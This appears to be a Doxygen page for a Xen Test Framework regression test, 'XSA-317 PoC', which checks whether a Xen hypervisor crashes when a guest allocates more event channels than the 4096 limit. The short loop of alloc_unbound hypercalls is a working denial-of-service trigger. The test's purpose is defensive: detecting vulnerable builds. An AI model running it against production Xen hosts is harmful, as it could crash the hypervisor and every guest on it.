Xen Test Framework
tests
xsa-317
main.c
Go to the documentation of this file.
1
18
#include <xtf.h>
19
20
const
char
test_title
[] =
"XSA-317 PoC"
;
21
22
void
test_main
(
void
)
23
{
24
unsigned
int
i;
25
struct
evtchn_alloc_unbound
ub = {
26
.
dom
=
DOMID_SELF
,
27
.remote_dom = 0,
28
};
29
30
/*
31
* Create more event channels than the 4096 ABI limit. A fixed Xen, or
32
* not vulnerable configuration, should fail with -ENOSPC eventually.
33
*/
34
for
( i = 0; i < 4100; ++i )
35
{
36
int
rc =
hypercall_event_channel_op
(
EVTCHNOP_alloc_unbound
, &ub);
37
38
if
( rc == -
ENOSPC
)
39
break
;
40
41
if
( rc )
42
return
xtf_error
(
"Error: Unexpected alloc_unbound error %d\n"
, rc);
43
}
44
45
/*
46
* If Xen is still alive, it didn't fall over a NULL evtchn bucket
47
* pointer.
48
*/
49
xtf_success
(
"Success: Not vulnerable to XSA-317\n"
);
50
}
51
52
/*
53
* Local variables:
54
* mode: C
55
* c-file-style: "BSD"
56
* c-basic-offset: 4
57
* tab-width: 4
58
* indent-tabs-mode: nil
59
* End:
60
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
ENOSPC
#define ENOSPC
Definition:
errno.h:36
EVTCHNOP_alloc_unbound
#define EVTCHNOP_alloc_unbound
Definition:
event_channel.h:7
hypercall_event_channel_op
static long hypercall_event_channel_op(unsigned int cmd, void *arg)
Definition:
hypercall.h:167
xtf_error
void xtf_error(const char *fmt,...)
Report a test error.
Definition:
report.c:80
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
evtchn_alloc_unbound
Definition:
event_channel.h:13
evtchn_alloc_unbound::dom
domid_t dom
Definition:
event_channel.h:15
DOMID_SELF
#define DOMID_SELF
Definition:
xen.h:70
Generated by
1.9.4